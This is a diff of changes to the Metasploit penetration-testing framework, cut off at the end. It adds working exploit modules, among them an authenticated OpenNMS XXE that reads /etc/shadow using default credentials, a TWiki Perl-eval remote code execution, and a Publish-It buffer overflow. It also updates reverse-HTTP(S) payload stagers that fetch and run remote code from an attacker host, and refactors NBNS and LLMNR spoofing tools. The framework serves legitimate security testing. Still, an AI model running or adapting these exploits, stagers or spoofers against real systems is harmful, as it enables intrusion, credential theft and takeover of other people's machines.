+ test eax, eax ; + jz failure ; Bail out if we couldn't get the certificate context + + ssl_cert_start_verify: + call ssl_cert_compare_hashes + db #{encoded_cert_hash} + + ssl_cert_compare_hashes: + pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert) + ; edi points to the server-provided certificate hash + + push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times + pop ecx ; + mov edx, ecx ; Keep a reference to 4 in edx + + ssl_cert_verify_compare_loop: + mov eax, [ebx] ; Grab the next DWORD of the hash + cmp eax, [edi] ; Compare with the server hash + jnz failure ; Bail out if the DWORD doesn't match + add ebx, edx ; Increment internal hash pointer by 4 + add edi, edx ; Increment server hash pointer by 4 + loop ssl_cert_verify_compare_loop + + ; Our certificate hash was valid, hurray! + ssl_cert_verify_cleanup: + xor ebx, ebx ; Reset ebx back to zero + ^ + end + asm << %Q^ receive_response: ; The API WinHttpReceiveResponse needs to be called - ; first to get a valid handler for WinHttpReadData - push ebx ; Reserved (NULL) [2] - push esi ; Request handler returned by WinHttpSendRequest [1] + ; first to get a valid handle for WinHttpReadData + push ebx ; Reserved (NULL) + push esi ; Request handler returned by WinHttpSendRequest push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" ) call ebp test eax,eax @@ -251,7 +340,7 @@ module Payload::Windows::ReverseWinHttp asm << %Q^ allocate_memory: - push.i8 0x40 ; PAGE_EXECUTE_READWRITE + push 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push 0x00400000 ; Stage allocation (4Mb ought to do us) push ebx ; NULL as we dont care where the allocation is @@ -299,6 +388,8 @@ module Payload::Windows::ReverseWinHttp asm end + + end end diff --git a/lib/msf/core/payload/windows/reverse_winhttps.rb b/lib/msf/core/payload/windows/reverse_winhttps.rb index 4a219c8b4e..993347db35 100644 --- a/lib/msf/core/payload/windows/reverse_winhttps.rb +++ b/lib/msf/core/payload/windows/reverse_winhttps.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/payload/windows/reverse_winhttp' +require 'rex/parser/x509_certificate' module Msf @@ -17,6 +18,17 @@ module Payload::Windows::ReverseWinHttps include Msf::Payload::Windows::ReverseWinHttp + # + # Register reverse_winhttps specific options + # + def initialize(*args) + super + register_advanced_options( + [ + OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false]) + ], self.class) + end + # # Generate and compile the stager # @@ -37,13 +49,38 @@ module Payload::Windows::ReverseWinHttps # def generate + verify_cert = false + verify_cert_hash = nil + + if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i + unless datastore['HandlerSSLCert'] + raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured" + else + verify_cert = true + hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert']) + unless hcert and hcert[0] and hcert[1] + raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}" + end + verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der) + print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}") + end + end + # Generate the simple version of this stager if we don't have enough space if self.available_space.nil? || required_space > self.available_space + + if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i + raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available" + end + return generate_reverse_winhttps( ssl: true, host: datastore['LHOST'], port: datastore['LPORT'], - url: generate_small_uri) + url: generate_small_uri, + verify_cert: verify_cert, + verify_cert_hash: verify_cert_hash, + retry_count: datastore['StagerRetryCount']) end conf = { @@ -51,12 +88,32 @@ module Payload::Windows::ReverseWinHttps host: datastore['LHOST'], port: datastore['LPORT'], url: generate_uri, - exitfunk: datastore['EXITFUNC'] + exitfunk: datastore['EXITFUNC'], + verify_cert: verify_cert, + verify_cert_hash: verify_cert_hash, + retry_count: datastore['StagerRetryCount'] } generate_reverse_winhttps(conf) end + # + # Determine the maximum amount of space required for the features requested + # + def required_space + space = super + + # SSL support adds 20 bytes + space += 20 + + # SSL verification adds 120 bytes + if datastore['StagerVerifySSLCert'] + space += 120 + end + + space + end + end end diff --git a/lib/rex/parser/x509_certificate.rb b/lib/rex/parser/x509_certificate.rb new file mode 100644 index 0000000000..f46500bf5c --- /dev/null +++ b/lib/rex/parser/x509_certificate.rb @@ -0,0 +1,62 @@ +# -*- coding: binary -*- + +require 'openssl' + +module Rex +module Parser + +### +# +# This class parses the contents of a PEM-encoded X509 certificate file containing +# a private key, a public key, and any appended glue certificates. +# +### +class X509Certificate + + # + # Parse a certificate in unified PEM format that contains a private key and + # one or more certificates. The first certificate is the primary, while any + # additional certificates are treated as intermediary certificates. This emulates + # the behavior of web servers like nginx. + # + # @param [String] ssl_cert + # @return [String, String, Array] + def self.parse_pem(ssl_cert) + cert = nil + key = nil + chain = nil + + certs = [] + ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem| + if pem =~ /PRIVATE KEY/ + key = OpenSSL::PKey::RSA.new(pem) + elsif pem =~ /CERTIFICATE/ + certs << OpenSSL::X509::Certificate.new(pem) + end + end + + cert = certs.shift + if certs.length > 0 + chain = certs + end + + [key, cert, chain] + end + + # + # Parse a certificate in unified PEM format from a file + # + # @param [String] ssl_cert_file + # @return [String, String, Array] + def self.parse_pem_file(ssl_cert_file) + data = '' + ::File.open(ssl_cert_file, 'rb') do |fd| + data << fd.read(fd.stat.size) + end + parse_pem(data) + end + +end + +end +end diff --git a/lib/rex/payloads/meterpreter/patch.rb b/lib/rex/payloads/meterpreter/patch.rb index 98354ba45f..93c54873bf 100644 --- a/lib/rex/payloads/meterpreter/patch.rb +++ b/lib/rex/payloads/meterpreter/patch.rb @@ -118,13 +118,13 @@ module Rex patch_comm_timeout! blob, options[:comm_timeout] patch_ua! blob, options[:ua] patch_proxy!(blob, - options[:proxyhost], - options[:proxyport], + options[:proxy_host], + options[:proxy_port], options[:proxy_type] ) patch_proxy_auth!(blob, - options[:proxy_username], - options[:proxy_password], + options[:proxy_user], + options[:proxy_pass], options[:proxy_type] ) diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index ab67096026..eb35c6ea96 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -411,11 +411,11 @@ class ClientCore < Extension :expiration => self.client.expiration, :comm_timeout => self.client.comm_timeout, :ua => client.exploit_datastore['MeterpreterUserAgent'], - :proxyhost => client.exploit_datastore['PROXYHOST'], - :proxyport => client.exploit_datastore['PROXYPORT'], - :proxy_type => client.exploit_datastore['PROXY_TYPE'], - :proxy_username => client.exploit_datastore['PROXY_USERNAME'], - :proxy_password => client.exploit_datastore['PROXY_PASSWORD'] + :proxy_host => client.exploit_datastore['PayloadProxyHost'], + :proxy_port => client.exploit_datastore['PayloadProxyPort'], + :proxy_type => client.exploit_datastore['PayloadProxyType'], + :proxy_user => client.exploit_datastore['PayloadProxyUser'], + :proxy_pass => client.exploit_datastore['PayloadProxyPass'] end diff --git a/lib/rex/socket/ssl_tcp_server.rb b/lib/rex/socket/ssl_tcp_server.rb index 27ee44696f..742685d596 100644 --- a/lib/rex/socket/ssl_tcp_server.rb +++ b/lib/rex/socket/ssl_tcp_server.rb @@ -2,6 +2,7 @@ require 'rex/socket' require 'rex/socket/tcp_server' require 'rex/io/stream_server' +require 'rex/parser/x509_certificate' ### # @@ -108,25 +109,7 @@ module Rex::Socket::SslTcpServer # @param [String] ssl_cert # @return [String, String, Array] def self.ssl_parse_pem(ssl_cert) - cert = nil - key = nil - chain = nil - - certs = [] - ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem| - if pem =~ /PRIVATE KEY/ - key = OpenSSL::PKey::RSA.new(pem) - elsif pem =~ /CERTIFICATE/ - certs << OpenSSL::X509::Certificate.new(pem) - end - end - - cert = certs.shift - if certs.length > 0 - chain = certs - end - - [key, cert, chain] + Rex::Parser::X509Certificate.parse_pem(ssl_cert) end # diff --git a/modules/auxiliary/gather/opennms_xxe.rb b/modules/auxiliary/gather/opennms_xxe.rb new file mode 100644 index 0000000000..4f60c931a3 --- /dev/null +++ b/modules/auxiliary/gather/opennms_xxe.rb @@ -0,0 +1,104 @@ +require 'msf/core' +require 'openssl' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OpenNMS Authenticated XXE', + 'Description' => %q{ + OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface. + Although this attack requires authentication, there are several factors that increase the + severity of this vulnerability. + + 1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the + core of OpenNMS is that these components need to run as root to be able to bind to low-numbered + ports or generate network traffic that requires root" + + 2. The user that you must authenticate as is the "rtc" user which has the default password of + "rtc". There is no mention of this user in the installation guides found here: + http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default + admin password of "admin" for security purposes. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Stephen Breen ', # discovery + 'Justin Kennedy ', # metasploit module + ], + 'References' => [ + ['CVE', '2015-0975'] + ], + 'DisclosureDate' => 'Jan 08 2015' + )) + + register_options( + [ + Opt::RPORT(8980), + OptBool.new('SSL', [false, 'Use SSL', false]), + OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']), + OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]), + OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]), + OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"]) + ], self.class) + + end + + def run + + print_status("Logging in to grab a valid session cookie") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'), + 'vars_post' => { + 'j_username' => datastore['USERNAME'], + 'j_password' => datastore['PASSWORD'], + 'Login'=> 'Login' + }, + }) + + if res.nil? + fail_with(Failure::Unreachable, "No response from POST request") + elsif res.code != 302 + fail_with(Failure::UnexpectedReply, "Non-302 response from POST request") + end + + unless res.headers["Location"].include? "index.jsp" + fail_with(Failure::NoAccess, 'Authentication failed') + end + + cookie = res.get_cookies + + print_status("Got cookie, going for the goods") + + rand_doctype = Rex::Text.rand_text_alpha(rand(1..10)) + rand_entity1 = Rex::Text.rand_text_alpha(rand(1..10)) + rand_entity2 = Rex::Text.rand_text_alpha(rand(1..10)) + delimiter = SecureRandom.uuid + + xxe = %Q^ + + + ]><#{rand_entity1}>#{delimiter}&#{rand_entity2};#{delimiter}^ + + res = send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'), + 'data' => xxe, + 'cookie' => cookie + }) + + # extract filepath data from response + if res && res.code == 400 && res.body =~ /title.+#{delimiter}(.+)#{delimiter}.+title/m + result = $1 + print_good("#{result}") + else + fail_with(Failure::Unknown, 'Error fetching file, try another') + end + + end +end + diff --git a/modules/auxiliary/spoof/arp/arp_poisoning.rb b/modules/auxiliary/spoof/arp/arp_poisoning.rb index 0cc60e78a5..54ab2e215a 100644 --- a/modules/auxiliary/spoof/arp/arp_poisoning.rb +++ b/modules/auxiliary/spoof/arp/arp_poisoning.rb @@ -103,7 +103,6 @@ class Metasploit3 < Msf::Auxiliary if datastore['LISTENER'] @listener.kill if @listener - GC.start() end if capture and @spoofing and not datastore['BROADCAST'] diff --git a/modules/auxiliary/spoof/llmnr/llmnr_response.rb b/modules/auxiliary/spoof/llmnr/llmnr_response.rb index 4a7123fd56..c1cef329e9 100644 --- a/modules/auxiliary/spoof/llmnr/llmnr_response.rb +++ b/modules/auxiliary/spoof/llmnr/llmnr_response.rb @@ -139,9 +139,7 @@ attr_accessor :sock, :thread end ip_pkt.recalc - open_pcap - capture_sendto(ip_pkt, rhost.to_s, true) - close_pcap + capture_sendto(ip_pkt, rhost.to_s, true) end def monitor_socket @@ -176,7 +174,10 @@ attr_accessor :sock, :thread def run check_pcaprub_loaded() - ::Socket.do_not_reverse_lookup = true + ::Socket.do_not_reverse_lookup = true # Mac OS X workaround + + # Avoid receiving extraneous traffic on our send socket + open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'}) # Multicast Address for LLMNR multicast_addr = ::IPAddr.new("224.0.0.252") @@ -191,24 +192,28 @@ attr_accessor :sock, :thread self.sock = Rex::Socket.create_udp( # This must be INADDR_ANY to receive multicast packets 'LocalHost' => "0.0.0.0", - 'LocalPort' => 5355) + 'LocalPort' => 5355, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + ) self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval) self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) { - monitor_socket + monitor_socket } print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...") add_socket(self.sock) - while thread.alive? - select(nil, nil, nil, 0.25) - end - - self.thread.kill - self.sock.close rescue nil + self.thread.join end + def cleanup + if self.thread and self.thread.alive? + self.thread.kill + self.thread = nil + end + close_pcap + end end diff --git a/modules/auxiliary/spoof/nbns/nbns_response.rb b/modules/auxiliary/spoof/nbns/nbns_response.rb index 0916ac71dd..84a2f1afe6 100644 --- a/modules/auxiliary/spoof/nbns/nbns_response.rb +++ b/modules/auxiliary/spoof/nbns/nbns_response.rb @@ -9,6 +9,9 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Capture + attr_accessor :sock, :thread + + def initialize super( 'Name' => 'NetBIOS Name Service Spoofer', @@ -44,108 +47,142 @@ class Metasploit3 < Msf::Auxiliary ]) register_advanced_options([ - OptBool.new('Debug', [ false, "Determines whether incoming packet parsing is displayed", false]) + OptBool.new('DEBUG', [ false, "Determines whether incoming packet parsing is displayed", false]) ]) deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER') + self.thread = nil + self.sock = nil + end + + def dispatch_request(packet, rhost, src_port) + rhost = ::IPAddr.new(rhost) + # `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped + # addr like "::ffff:192.168.0.1" when the interface we're listening + # on has an IPv6 address. Convert it to just the v4 addr + if rhost.ipv4_mapped? + rhost = rhost.native + end + + # Convert to string + rhost = rhost.to_s + + spoof = ::IPAddr.new(datastore['SPOOFIP']) + + return if packet.length == 0 + + nbnsq_transid = packet[0..1] + nbnsq_flags = packet[2..3] + nbnsq_questions = packet[4..5] + nbnsq_answerrr = packet[6..7] + nbnsq_authorityrr = packet[8..9] + nbnsq_additionalrr = packet[10..11] + nbnsq_name = packet[12..45] + decoded = "" + nbnsq_name.slice(1..-2).each_byte do |c| + decoded << "#{(c - 65).to_s(16)}" + end + nbnsq_decodedname = "#{[decoded].pack('H*')}".strip() + nbnsq_type = packet[46..47] + nbnsq_class = packet[48..49] + + return unless nbnsq_decodedname =~ /#{datastore['REGEX']}/i + + vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}") + + if datastore['DEBUG'] + print_status("transid: #{nbnsq_transid.unpack('H4')}") + print_status("tlags: #{nbnsq_flags.unpack('B16')}") + print_status("questions: #{nbnsq_questions.unpack('n')}") + print_status("answerrr: #{nbnsq_answerrr.unpack('n')}") + print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}") + print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}") + print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}") + print_status("full name: #{nbnsq_name.slice(1..-2)}") + print_status("decoded: #{decoded}") + print_status("decoded name: #{nbnsq_decodedname}") + print_status("type: #{nbnsq_type.unpack('n')}") + print_status("class: #{nbnsq_class.unpack('n')}") + end + + # time to build a response packet - Oh YEAH! + response = nbnsq_transid + + "\x85\x00" + # Flags = response + authoratative + recursion desired + + "\x00\x00" + # Questions = 0 + "\x00\x01" + # Answer RRs = 1 + "\x00\x00" + # Authority RRs = 0 + "\x00\x00" + # Additional RRs = 0 + nbnsq_name + # original query name + nbnsq_type + # Type = NB ...whatever that means + nbnsq_class+ # Class = IN + "\x00\x04\x93\xe0" + # TTL = a long ass time + "\x00\x06" + # Datalength = 6 + "\x00\x00" + # Flags B-node, unique = whatever that means + spoof.hton + + pkt = PacketFu::UDPPacket.new + pkt.ip_saddr = Rex::Socket.source_address(rhost) + pkt.ip_daddr = rhost + pkt.ip_ttl = 255 + pkt.udp_sport = 137 + pkt.udp_dport = src_port + pkt.payload = response + pkt.recalc + + capture_sendto(pkt, rhost) + end + + def monitor_socket + while true + rds = [self.sock] + wds = [] + eds = [self.sock] + + r,_,_ = ::IO.select(rds,wds,eds,0.25) + if (r != nil and r[0] == self.sock) + packet, host, port = self.sock.recvfrom(65535) + dispatch_request(packet, host, port) + end + end end def run - check_pcaprub_loaded() # Check first since otherwise this is all for naught - # MacOS X workaround - ::Socket.do_not_reverse_lookup = true + check_pcaprub_loaded() + ::Socket.do_not_reverse_lookup = true # Mac OS X workaround - @sock = ::UDPSocket.new() - @sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) - @sock.bind('', 137) # couldn't specify srv host because it missed broadcasts + # Avoid receiving extraneous traffic on our send socket + open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'}) - @run = true + self.sock = Rex::Socket.create_udp( + 'LocalHost' => "0.0.0.0", + 'LocalPort' => 137, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + ) + add_socket(self.sock) + self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) - print_status("NBNS Spoofer started. Listening for NBNS requests...") - - begin - - while @run # Not exactly thrilled we can never turn this off XXX fix this sometime. - packet, addr = @sock.recvfrom(512) - src_port = addr[1] - rhost = addr[3] - - break if packet.length == 0 - - nbnsq_transid = packet[0..1] - nbnsq_flags = packet[2..3] - nbnsq_questions = packet[4..5] - nbnsq_answerrr = packet[6..7] - nbnsq_authorityrr = packet[8..9] - nbnsq_additionalrr = packet[10..11] - nbnsq_name = packet[12..45] - decoded = "" - nbnsq_name.slice(1..-2).each_byte do |c| - decoded << "#{(c - 65).to_s(16)}" + self.thread = Rex::ThreadFactory.spawn("NBNSServerMonitor", false) { + begin + monitor_socket + rescue ::Interrupt + raise $! + rescue ::Exception + print_error("Error: #{$!.class} #{$!} #{$!.backtrace}") end - nbnsq_decodedname = "#{[decoded].pack('H*')}".strip() - nbnsq_type = packet[46..47] - nbnsq_class = packet[48..49] + } - if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i) + print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX']}\" ...") - vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}") - - if datastore['DEBUG'] - print_status("transid: #{nbnsq_transid.unpack('H4')}") - print_status("tlags: #{nbnsq_flags.unpack('B16')}") - print_status("questions: #{nbnsq_questions.unpack('n')}") - print_status("answerrr: #{nbnsq_answerrr.unpack('n')}") - print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}") - print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}") - print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}") - print_status("full name: #{nbnsq_name.slice(1..-2)}") - print_status("decoded: #{decoded}") - print_status("decoded name: #{nbnsq_decodedname}") - print_status("type: #{nbnsq_type.unpack('n')}") - print_status("class: #{nbnsq_class.unpack('n')}") - end - - # time to build a response packet - Oh YEAH! - response = nbnsq_transid + - "\x85\x00" + # Flags = response + authoratative + recursion desired + - "\x00\x00" + # Questions = 0 - "\x00\x01" + # Answer RRs = 1 - "\x00\x00" + # Authority RRs = 0 - "\x00\x00" + # Additional RRs = 0 - nbnsq_name + # original query name - nbnsq_type + # Type = NB ...whatever that means - nbnsq_class+ # Class = IN - "\x00\x04\x93\xe0" + # TTL = a long ass time - "\x00\x06" + # Datalength = 6 - "\x00\x00" + # Flags B-node, unique = whet ever that means - datastore['SPOOFIP'].split('.').collect(&:to_i).pack('C*') - - open_pcap - - p = PacketFu::UDPPacket.new - p.ip_saddr = Rex::Socket.source_address(rhost) - p.ip_daddr = rhost - p.ip_ttl = 255 - p.udp_sport = 137 - p.udp_dport = src_port - p.payload = response - p.recalc - - capture_sendto(p, rhost) - - close_pcap - - else - vprint_status("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} did not match regex") - end - end - - rescue ::Exception => e - print_error("nbnspoof: #{e.class} #{e} #{e.backtrace}") - # Make sure the socket gets closed on exit - ensure - @sock.close - end + self.thread.join + print_status("NBNS Monitor thread exited...") end + + def cleanup + if self.thread and self.thread.alive? + self.thread.kill + self.thread = nil + end + close_pcap + end + end diff --git a/modules/exploits/unix/http/twiki_debug_plugins.rb b/modules/exploits/unix/http/twiki_debug_plugins.rb new file mode 100644 index 0000000000..2c937e58c9 --- /dev/null +++ b/modules/exploits/unix/http/twiki_debug_plugins.rb @@ -0,0 +1,101 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'TWiki Debugenableplugins Remote Code Execution', + 'Description' => %q{ + TWiki 4.0.x-6.0.0 contains a vulnerability in the Debug functionality. + The value of the debugenableplugins parameter is used without proper sanitization + in an Perl eval statement which allows remote code execution + }, + 'Author' => + [ + 'Netanel Rubin', # from Check Point - Discovery + 'h0ng10', # Metasploit Module + + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2014-7236'], + [ 'OSVDB', '112977'], + [ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2014-7236'] + ], + 'Privileged' => false, + 'Targets' => + [ + [ 'Automatic', + { + 'Payload' => + { + 'BadChars' => "", + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl python php', + } + }, + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 09 2014')) + + register_options( + [ + OptString.new('TARGETURI', [ true, "TWiki path", '/do/view/Main/WebHome' ]), + OptString.new('PLUGIN', [true, "A existing TWiki Plugin", 'BackupRestorePlugin']) + ], self.class) + end + + + def send_code(perl_code) + uri = target_uri.path + data = "debugenableplugins=#{datastore['PLUGIN']}%3b" + CGI.escape(perl_code) + "%3bexit" + + res = send_request_cgi!({ + 'method' => 'POST', + 'uri' => uri, + 'data' => data + }) + + return res + end + + + def check + rand_1 = rand_text_alpha(5) + rand_2 = rand_text_alpha(5) + + code = "print(\"Content-Type:text/html\\r\\n\\r\\n#{rand_1}\".\"#{rand_2}\")" + res = send_code(code) + + if res and res.code == 200 + return CheckCode::Vulnerable if res.body == rand_1 + rand_2 + end + CheckCode::Unknown + end + + + def exploit + code = "print(\"Content-Type:text/html\\r\\n\\r\\n\");" + code += "require('MIME/Base64.pm');MIME::Base64->import();" + code += "system(decode_base64('#{Rex::Text.encode_base64(payload.encoded)}'));exit" + res = send_code(code) + handler + + end + +end diff --git a/modules/exploits/windows/fileformat/publishit_pui.rb b/modules/exploits/windows/fileformat/publishit_pui.rb new file mode 100644 index 0000000000..b8b825db62 --- /dev/null +++ b/modules/exploits/windows/fileformat/publishit_pui.rb @@ -0,0 +1,82 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Publish-It PUI Buffer Overflow (SEH)', + 'Description' => %q{ + This module exploits a stack based buffer overflow in Publish-It when + processing a specially crafted .PUI file. This vulnerability could be + exploited by a remote attacker to execute arbitrary code on the target + machine by enticing a user of Publish-It to open a malicious .PUI file. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Daniel Kazimirow', # Original discovery + 'Andrew Smith "jakx_"', # Exploit and MSF Module + ], + 'References' => + [ + [ 'OSVDB', '102911' ], + [ 'CVE', '2014-0980' ], + [ 'EDB', '31461' ] + ], + 'DefaultOptions' => + { + 'ExitFunction' => 'process', + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00\x0b\x0a", + 'DisableNops' => true, + 'Space' => 377 + }, + 'Targets' => + [ + [ 'Publish-It 3.6d', + { + 'Ret' => 0x0046e95a, #p/p/r | Publish.EXE + 'Offset' => 1082 + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Feb 5 2014', + 'DefaultTarget' => 0)) + + register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),], self.class) + + end + + def exploit + + path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0980.pui") + fd = File.open(path, "rb") + template_data = fd.read(fd.stat.size) + fd.close + + buffer = template_data + buffer << make_nops(700) + buffer << payload.encoded + buffer << make_nops(target['Offset']-payload.encoded.length-700-5) + buffer << Rex::Arch::X86.jmp('$-399') #long negative jump -399 + buffer << Rex::Arch::X86.jmp_short('$-24') #nseh negative jump + buffer << make_nops(2) + buffer << [target.ret].pack("V") + + print_status("Creating '#{datastore['FILENAME']}' file ...") + file_create(buffer) + + end +end diff --git a/modules/payloads/stagers/java/reverse_http.rb b/modules/payloads/stagers/java/reverse_http.rb index 8208430ccb..f14e1e8e17 100644 --- a/modules/payloads/stagers/java/reverse_http.rb +++ b/modules/payloads/stagers/java/reverse_http.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http' module Metasploit3 - CachedSize = 5500 + CachedSize = 5499 include Msf::Payload::Stager include Msf::Payload::Java @@ -40,12 +40,22 @@ module Metasploit3 end def config + # Default URL length is 30-256 bytes + uri_req_len = 30 + rand(256-30) + + # Generate the short default URL if we don't know available space + if self.available_space.nil? + uri_req_len = 5 + end + spawn = datastore["Spawn"] || 2 c = "" c << "Spawn=#{spawn}\n" c << "URL=http://#{datastore["LHOST"]}" c << ":#{datastore["LPORT"]}" if datastore["LPORT"] - c << "/INITJM\n" + c << "/" + c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len) + c << "\n" c end diff --git a/modules/payloads/stagers/java/reverse_https.rb b/modules/payloads/stagers/java/reverse_https.rb index b8a621bec6..a7e2eb3301 100644 --- a/modules/payloads/stagers/java/reverse_https.rb +++ b/modules/payloads/stagers/java/reverse_https.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_https' module Metasploit3 - CachedSize = 6308 + CachedSize = 6307 include Msf::Payload::Stager include Msf::Payload::Java @@ -42,12 +42,22 @@ module Metasploit3 end def config + # Default URL length is 30-256 bytes + uri_req_len = 30 + rand(256-30) + + # Generate the short default URL if we don't know available space + if self.available_space.nil? + uri_req_len = 5 + end + spawn = datastore["Spawn"] || 2 c = "" c << "Spawn=#{spawn}\n" c << "URL=https://#{datastore["LHOST"]}" c << ":#{datastore["LPORT"]}" if datastore["LPORT"] - c << "/INITJM\n" + c << "/" + c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len) + c << "\n" c end diff --git a/modules/payloads/stagers/python/reverse_http.rb b/modules/payloads/stagers/python/reverse_http.rb index 0c7af67036..b1bc0b9275 100644 --- a/modules/payloads/stagers/python/reverse_http.rb +++ b/modules/payloads/stagers/python/reverse_http.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http' module Metasploit3 - CachedSize = 442 + CachedSize = 446 include Msf::Payload::Stager @@ -26,9 +26,9 @@ module Metasploit3 register_options( [ - OptString.new('PROXYHOST', [ false, "The address of an http proxy to use", "" ]), - OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]) - ], Msf::Handler::ReverseHttp) + OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]), + OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]) + ], self.class) end # @@ -41,21 +41,32 @@ module Metasploit3 txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\')) } - target_url = 'http://' - target_url << lhost + if Rex::Socket.is_ipv6?(lhost) + target_url = "http://[#{lhost}]" + else + target_url = "http://#{lhost}" + end + target_url << ':' target_url << datastore['LPORT'].to_s target_url << '/' - target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP) + target_url << generate_callback_uri + + proxy_host = datastore['PayloadProxyHost'].to_s + proxy_port = datastore['PayloadProxyPort'].to_i cmd = "import sys\n" - if datastore['PROXYHOST'].blank? + if proxy_host == '' cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n" else - proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}" + proxy_url = Rex::Socket.is_ipv6?(proxy_host) ? + "http://[#{proxy_host}]:#{proxy_port}" : + "http://#{proxy_host}:#{proxy_port}" + cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n" cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n" end + cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n" cmd << "exec(o.open('#{target_url}').read())\n" @@ -66,4 +77,36 